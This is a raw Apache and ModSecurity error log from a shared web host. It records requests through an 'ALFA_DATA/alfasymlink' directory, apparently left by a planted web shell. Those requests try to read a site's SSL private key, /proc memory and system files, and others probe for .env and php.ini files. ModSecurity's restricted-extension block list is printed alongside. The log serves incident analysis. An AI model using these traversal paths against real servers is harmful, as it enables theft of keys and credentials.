[Sat Oct 24 07:39:18.195404 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.2.83.227:1616] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:39:22.184858 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 52.45.194.165:5418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:00/physical_node/driver/uevent
[Sat Oct 24 07:39:22.655134 2026] [security2:error] [pid 2609012:tid 2609012] [client 185.191.171.13:54020] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ATIIXP-SPDMA.conf"] [unique_id "atyY6nUcfBNBYE9xHAJAoQAAAAA"]
[Sat Oct 24 07:39:22.655492 2026] [security2:error] [pid 2609012:tid 2609012] [client 185.191.171.13:54020] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ATIIXP-SPDMA.conf"] [unique_id "atyY6nUcfBNBYE9xHAJAoQAAAAA"]
[Sat Oct 24 07:39:22.655869 2026] [security2:error] [pid 2609012:tid 2609012] [client 185.191.171.13:54020] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ATIIXP-SPDMA.conf"] [unique_id "atyY6nUcfBNBYE9xHAJAoQAAAAA"]
[Sat Oct 24 07:39:26.370431 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 107.23.62.75:50327] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:39:32.188047 2026] [security2:error] [pid 2625272:tid 2625272] [client 185.191.171.3:43278] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b3886_dc413_fa8944ae88cabede76ee14427aba3d31.key"] [unique_id "atyY9IY2rJh4KkI7ZZhjGwAAAAM"]
[Sat Oct 24 07:39:32.188420 2026] [security2:error] [pid 2625272:tid 2625272] [client 185.191.171.3:43278] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b3886_dc413_fa8944ae88cabede76ee14427aba3d31.key"] [unique_id "atyY9IY2rJh4KkI7ZZhjGwAAAAM"]
[Sat Oct 24 07:39:32.188816 2026] [security2:error] [pid 2625272:tid 2625272] [client 185.191.171.3:43278] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b3886_dc413_fa8944ae88cabede76ee14427aba3d31.key"] [unique_id "atyY9IY2rJh4KkI7ZZhjGwAAAAM"]
[Sat Oct 24 07:39:35.664922 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 85.208.96.208:20794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/syscopyarea/sections/__ksymtab_strings
[Sat Oct 24 07:39:38.200498 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 34.225.243.131:37732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:39:46.192106 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 98.82.107.102:42109] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:39:52.539336 2026] [core:crit] [pid 2625330:tid 2625330] (13)Permission denied: [client 216.244.66.250:59842] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/run/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/run/' is executable
[Sat Oct 24 07:39:54.344945 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 18.210.58.238:42433] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty21/subsystem/tty13/subsystem/ttyS3/line
[Sat Oct 24 07:39:57.777409 2026] [core:crit] [pid 2627309:tid 2627309] (13)Permission denied: [client 216.244.66.250:59856] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2130772/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2130772/fd/' is executable
[Sat Oct 24 07:39:57.777474 2026] [core:crit] [pid 2627309:tid 2627309] (13)Permission denied: [client 216.244.66.250:59856] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2130772/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2130772/map_files/' is executable
[Sat Oct 24 07:39:57.777492 2026] [core:crit] [pid 2627309:tid 2627309] (13)Permission denied: [client 216.244.66.250:59856] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2130772/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2130772/fdinfo/' is executable
[Sat Oct 24 07:39:59.534111 2026] [core:crit] [pid 2609012:tid 2609012] (13)Permission denied: [client 216.244.66.250:37848] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/971/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/971/fd/' is executable
[Sat Oct 24 07:39:59.534157 2026] [core:crit] [pid 2609012:tid 2609012] (13)Permission denied: [client 216.244.66.250:37848] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/971/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/971/map_files/' is executable
[Sat Oct 24 07:39:59.534172 2026] [core:crit] [pid 2609012:tid 2609012] (13)Permission denied: [client 216.244.66.250:37848] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/971/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/971/fdinfo/' is executable
[Sat Oct 24 07:40:06.224879 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.193.2.57:14605] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:40:26.435340 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.70.209.13:32310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input4/subsystem/event2/subsystem/input5/device/driver/module/sections/__mcount_loc
[Sat Oct 24 07:40:28.138379 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 144.76.19.24:53904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/5/mem
[Sat Oct 24 07:40:30.268807 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.213.85.234:58803] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:40:47.067640 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.192.125.239:64236] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:40:50.457315 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 54.91.122.193:30070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:40:54.227835 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.70.123.241:62752] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:02.378632 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.236.185.101:60554] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:02.418516 2026] [proxy_fcgi:error] [pid 2627309:tid 2627309] [client 146.70.194.228:34226] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 07:41:06.292873 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.224.132.215:61344] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:10.280972 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.203.111.15:64451] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:23.065488 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 107.23.62.75:38683] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:24.999131 2026] [core:crit] [pid 2627311:tid 2627311] (13)Permission denied: [client 45.79.160.27:31192] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 07:41:38.321944 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.215.59.93:50024] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:38.437142 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 185.191.171.18:39288] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:42.261642 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.147.238.89:11123] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:46.333469 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 18.235.81.246:16867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:54.378857 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 85.208.96.196:59064] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:54.413298 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 85.208.96.196:59074] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:41:58.397681 2026] [core:error] [pid 2627311:tid 2627311] (13)Permission denied: [client 54.235.191.179:44384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/pcieport/unbind
[Sat Oct 24 07:42:02.251369 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.85.126.86:42188] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:42:03.076755 2026] [security2:error] [pid 2627273:tid 2627273] [client 16.216.88.78:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.d/id_resolver.conf"] [unique_id "atyZixdOhHN-18IxgZKp-gAAAAY"]
[Sat Oct 24 07:42:03.077217 2026] [security2:error] [pid 2627273:tid 2627273] [client 16.216.88.78:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.d/id_resolver.conf"] [unique_id "atyZixdOhHN-18IxgZKp-gAAAAY"]
[Sat Oct 24 07:42:03.077531 2026] [security2:error] [pid 2627273:tid 2627273] [client 16.216.88.78:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.d/id_resolver.conf"] [unique_id "atyZixdOhHN-18IxgZKp-gAAAAY"]
[Sat Oct 24 07:42:07.511388 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 16.216.88.102:16384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/outgoing_mail_suspended_users
[Sat Oct 24 07:42:10.367835 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.83.10.183:25905] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:42:18.462934 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.220.70.171:7420] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:42:34.242814 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.166.104.83:39471] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:42:34.243019 2026] [security2:error] [pid 2625330:tid 2625330] [client 54.166.104.83:39471] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/console/subsystem/tty22/subsystem/tty2/dev"] [unique_id "atyZqvMnT_rHlxLKOWDmuQAAAAc"]
[Sat Oct 24 07:42:34.243041 2026] [security2:error] [pid 2625330:tid 2625330] [client 54.166.104.83:39471] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/console/subsystem/tty22/subsystem/tty2/dev"] [unique_id "atyZqvMnT_rHlxLKOWDmuQAAAAc"]
[Sat Oct 24 07:42:38.364213 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.28.133.214:24851] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:42:42.253567 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.235.158.19:7769] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:42:54.591642 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.231.118.144:34326] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:42:58.594551 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.202.52.82:15987] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:43:01.446418 2026] [core:crit] [pid 2625330:tid 2625330] (13)Permission denied: [client 69.164.211.190:64024] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 07:43:01.452868 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 69.164.211.190:64034] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sat Oct 24 07:43:01.452912 2026] [authz_core:error] [pid 2627311:tid 2627311] [client 69.164.211.190:33420] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sat Oct 24 07:43:06.276803 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.227.180.70:53090] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:43:26.343194 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.229.95.193:13534] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:43:38.184461 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 85.208.96.206:59874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/slab_size
[Sat Oct 24 07:43:38.461104 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.213.70.100:55246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:43:44.134963 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 216.244.66.250:48150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/kpagecount
[Sat Oct 24 07:43:46.523857 2026] [ssl:error] [pid 2625330:tid 2625330] (5)Input/output error: [client 54.83.240.58:53503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:43:47.988832 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.1:39856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/reclaim_account
[Sat Oct 24 07:44:02.453329 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.45.77.169:35397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:44:14.480215 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.201.155.215:37073] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:44:22.369403 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.220.2.97:43177] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:44:26.538843 2026] [security2:error] [pid 2607843:tid 2607843] [client 52.200.54.136:65047] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/4/module/"] [unique_id "atyaGgSwRuPA-FjBma7I2QAAAAI"]
[Sat Oct 24 07:44:26.538889 2026] [security2:error] [pid 2607843:tid 2607843] [client 52.200.54.136:65047] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/4/module/"] [unique_id "atyaGgSwRuPA-FjBma7I2QAAAAI"]
[Sat Oct 24 07:44:38.410576 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 3.227.180.70:28248] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:44:42.446773 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.205.163.103:23667] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:44:46.594147 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 50.16.72.185:37441] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:44:58.333527 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.215.24.66:38023] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:45:02.405500 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 50.19.221.48:28430] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:45:10.349757 2026] [ssl:error] [pid 2627309:tid 2627309] (5)Input/output error: [client 52.45.15.233:20471] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:45:14.323774 2026] [ssl:error] [pid 2607243:tid 2607243] (5)Input/output error: [client 44.193.115.232:1896] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:45:18.345212 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.44.174.136:20872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:45:42.357776 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.204.253.129:56897] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:45:50.346623 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 85.208.96.204:52416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/objects_partial
[Sat Oct 24 07:45:58.421382 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 3.225.45.252:27858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/memory23/subsystem/devices/memory9/node0/cpu0/crash_notes_size
[Sat Oct 24 07:46:02.039581 2026] [authz_core:error] [pid 2627309:tid 2627309] [client 69.164.211.190:13776] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sat Oct 24 07:46:02.364411 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 184.73.239.35:38908] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:46:14.494262 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 34.194.233.48:32710] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/ohci-pci/unbind
[Sat Oct 24 07:46:23.051832 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.202.233.37:38171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:46:31.851933 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.94.40.182:39794] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:47:02.441999 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.194.233.48:63549] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:47:10.483451 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.234.200.207:63675] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:47:18.437009 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.209.100.30:60788] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:47:38.581141 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.224.9.144:11840] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:47:41.535296 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.5:36868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/usersize
[Sat Oct 24 07:47:46.441607 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 23.20.178.124:45520] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:47:47.263067 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.16.167.172:58192] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "cpcalendars.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpcalendars/symfony/.env"] [unique_id "atya4xdOhHN-18IxgZKqUwAAAAY"]
[Sat Oct 24 07:47:47.263114 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.16.167.172:58192] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "cpcalendars.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpcalendars/symfony/.env"] [unique_id "atya4xdOhHN-18IxgZKqUwAAAAY"]
[Sat Oct 24 07:47:49.807496 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 85.208.96.207:49044] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:47:51.865866 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.16.167.172:57964] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "cpcalendars.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpcalendars/local/.env"] [unique_id "atya54Y2rJh4KkI7ZZhjNwAAAAM"]
[Sat Oct 24 07:47:51.865908 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.16.167.172:57964] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "cpcalendars.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpcalendars/local/.env"] [unique_id "atya54Y2rJh4KkI7ZZhjNwAAAAM"]
[Sat Oct 24 07:47:54.587685 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.29.34.97:36800] AH02013: coalesce failed to read from data bucket
